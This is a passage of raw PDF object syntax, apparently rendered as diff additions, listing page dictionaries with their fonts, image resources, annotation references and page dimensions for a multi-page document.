R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image285 274 0 R +>> +>> +/Rotate 0 +/StructParents 166 +/Tabs /S +/Type /Page +>> +endobj +25 0 obj +<< +/Annots [275 0 R 276 0 R 277 0 R 278 0 R] +/Contents 279 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F11 280 0 R +/F2 92 0 R +/F3 93 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 168 +/Tabs /S +/Type /Page +>> +endobj +26 0 obj +<< +/Contents 281 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image297 282 0 R +>> +>> +/Rotate 0 +/StructParents 173 +/Tabs /S +/Type /Page +>> +endobj +27 0 obj +<< +/Annots [283 0 R] +/Contents 284 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image300 285 0 R +>> +>> +/Rotate 0 +/StructParents 174 +/Tabs /S +/Type /Page +>> +endobj +28 0 obj +<< +/Annots [286 0 R 287 0 R 288 0 R 289 0 R] +/Contents 290 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 176 +/Tabs /S +/Type /Page +>> +endobj +29 0 obj +<< +/Annots [291 0 R] +/Contents 292 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image308 293 0 R +>> +>> +/Rotate 0 +/StructParents 181 +/Tabs /S +/Type /Page +>> +endobj +30 0 obj +<< +/Contents 294 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F12 295 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image315 296 0 R +>> +>> +/Rotate 0 +/StructParents 183 +/Tabs /S +/Type /Page +>> +endobj +31 0 obj +<< +/Annots [297 0 R 298 0 R 299 0 R 300 0 R 301 0 R] +/Contents 302 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 184 +/Tabs /S +/Type /Page +>> +endobj +32 0 obj +<< +/Annots [303 0 R 304 0 R 305 0 R 306 0 R 307 0 R 308 0 R 309 0 R 310 0 R] +/Contents 311 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 190 +/Tabs /S +/Type /Page +>> +endobj +33 0 obj +<< +/Contents 312 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 199 +/Tabs /S +/Type /Page +>> +endobj +34 0 obj +<< +/Contents 313 0 R +/CropBox [0 0 842.04 595.32] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 842.04 595.32] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 200 +/Tabs /S +/Type /Page +>> +endobj +35 0 obj +<< +/Contents 314 0 R +/CropBox [0 0 842.04 595.32] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 842.04 595.32] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 201 +/Tabs /S +/Type /Page +>> +endobj +36 0 obj +<< +/Contents 315 0 R +/CropBox [0 0 842.04 595.32] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 842.04 595.32] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 202 +/Tabs /S +/Type /Page +>> +endobj +37 0 obj +<< +/Contents 316 0 R +/CropBox [0 0 842.04 595.32] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 842.04 595.32] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 203 +/Tabs /S +/Type /Page +>> +endobj +38 0 obj +<< +/Contents 317 0 R +/CropBox [0 0 842.04 595.32] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 842.04 595.32] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 204 +/Tabs /S +/Type /Page +>> +endobj +39 0 obj +<< +/Contents 318 0 R +/CropBox [0 0 842.04 595.32] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 842.04 595.32] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 205 +/Tabs /S +/Type /Page +>> +endobj +40 0 obj +<< +/Annots [319 0 R] +/Contents 320 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 206 +/Tabs /S +/Type /Page +>> +endobj +41 0 obj +<< +/Annots [321 0 R 322 0 R 323 0 R] +/Contents 324 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 208 +/Tabs /S +/Type /Page +>> +endobj +42 0 obj +<< +/Annots [325 0 R 326 0 R 327 0 R] +/Contents 328 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 212 +/Tabs /S +/Type /Page +>> +endobj +43 0 obj +<< +/Contents 329 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image349 330 0 R +>> +>> +/Rotate 0 +/StructParents 216 +/Tabs /S +/Type /Page +>> +endobj +44 0 obj +<< +/Contents 331 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image351 332 0 R +>> +>> +/Rotate 0 +/StructParents 217 +/Tabs /S +/Type /Page +>> +endobj +45 0 obj +<< +/Annots [333 0 R 334 0 R 335 0 R 336 0 R] +/Contents 337 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image259 248 0 R +>> +>> +/Rotate 0 +/StructParents 218 +/Tabs /S +/Type /Page +>> +endobj +46 0 obj +<< +/Annots [338 0 R 339 0 R] +/Contents 340 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F7 102 0 R +/F8 103 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 223 +/Tabs /S +/Type /Page +>> +endobj +47 0 obj +<< +/Annots [341 0 R] +/Contents 342 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F7 102 0 R +/F8 103 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 226 +/Tabs /S +/Type /Page +>> +endobj +48 0 obj +<< +/Annots [343 0 R] +/Contents 344 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image363 345 0 R +/Image365 346 0 R +>> +>> +/Rotate 0 +/StructParents 228 +/Tabs /S +/Type /Page +>> +endobj +49 0 obj +<< +/Annots [347 0 R 348 0 R] +/Contents 349 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 230 +/Tabs /S +/Type /Page +>> +endobj +50 0 obj +<< +/Annots [350 0 R 351 0 R] +/Contents 352 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image372 353 0 R +>> +>> +/Rotate 0 +/StructParents 233 +/Tabs /S +/Type /Page +>> +endobj +51 0 obj +<< +/Annots [354 0 R 355 0 R] +/Contents 356 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 236 +/Tabs /S +/Type /Page +>> +endobj +52 0 obj +<< +/Annots [357 0 R 358 0 R] +/Contents 359 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image379 360 0 R +>> +>> +/Rotate 0 +/StructParents 239 +/Tabs /S +/Type /Page +>> +endobj +53 0 obj +<< +/Annots [361 0 R 362 0 R] +/Contents 363 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 242 +/Tabs /S +/Type /Page +>> +endobj +54 0 obj +<< +/Annots [364 0 R 365 0 R 366 0 R 367 0 R] +/Contents 368 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image388 369 0 R +>> +>> +/Rotate 0 +/StructParents 245 +/Tabs /S +/Type /Page +>> +endobj +55 0 obj +<< +/Annots [370 0 R 371 0 R] +/Contents 372 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 250 +/Tabs /S +/Type /Page +>> +endobj +56 0 obj +<< +/Annots [373 0 R 374 0 R] +/Contents 375 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image395 376 0 R +>> +>> +/Rotate 0 +/StructParents 253 +/Tabs /S +/Type /Page +>> +endobj +57 0 obj +<< +/Annots [377 0 R 378 0 R] +/Contents 379 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 256 +/Tabs /S +/Type /Page +>> +endobj +58 0 obj +<< +/Contents 380 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F13 381 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image402 382 0 R +>> +>> +/Rotate 0 +/StructParents 259 +/Tabs /S +/Type /Page +>> +endobj +59 0 obj +<< +/Contents 383 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image404 384 0 R +>> +>> +/Rotate 0 +/StructParents 260 +/Tabs /S +/Type /Page +>> +endobj +60 0 obj +<< +/Contents 385 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F13 381 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image406 386 0 R +>> +>> +/Rotate 0 +/StructParents 261 +/Tabs /S +/Type /Page +>> +endobj +61 0 obj +<< +/Contents 387 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F14 388 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image413 389 0 R +>> +>> +/Rotate 0 +/StructParents 262 +/Tabs /S +/Type /Page +>> +endobj +62 0 obj +<< +/Contents 390 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F14 388 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image415 391 0 R +>> +>> +/Rotate 0 +/StructParents 263 +/Tabs /S +/Type /Page +>> +endobj +63 0 obj +<< +/Contents 392 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F14 388 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +/Image417 393 0 R +>> +>> +/Rotate 0 +/StructParents 264 +/Tabs /S +/Type /Page +>> +endobj +64 0 obj +<< +/Contents 394 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 265 +/Tabs /S +/Type /Page +>> +endobj +65 0 obj +<< +/Annots [395 0 R 396 0 R] +/Contents 397 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F9 107 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 266 +/Tabs /S +/Type /Page +>> +endobj +66 0 obj +<< +/Annots [398 0 R 399 0 R 400 0 R] +/Contents 401 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F14 388 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 269 +/Tabs /S +/Type /Page +>> +endobj +67 0 obj +<< +/Annots [402 0 R 403 0 R 404 0 R 405 0 R] +/Contents 406 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 273 +/Tabs /S +/Type /Page +>> +endobj +68 0 obj +<< +/Annots [407 0 R 408 0 R 409 0 R] +/Contents 410 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F10 226 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 278 +/Tabs /S +/Type /Page +>> +endobj +69 0 obj +<< +/Contents 411 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 282 +/Tabs /S +/Type /Page +>> +endobj +70 0 obj +<< +/Contents 412 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +/F7 102 0 R +/F8 103 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 283 +/Tabs /S +/Type /Page +>> +endobj +71 0 obj +<< +/Contents 413 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 0 R +/GS9 90 0 R +>> +/Font << +/F1 91 0 R +/F2 92 0 R +/F5 95 0 R +/F6 101 0 R +>> +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/XObject << +/Image15 96 0 R +>> +>> +/Rotate 0 +/StructParents 284 +/Tabs /S +/Type /Page +>> +endobj +72 0 obj +<< +/Contents 414 0 R +/CropBox [0 0 595.32 842.04] +/Group << +/CS /DeviceRGB +/S /Transparency +/Type /Group +>> +/MediaBox [0 0 595.32 842.04] +/Parent 3 0 R +/Resources << +/ExtGState << +/GS6 89 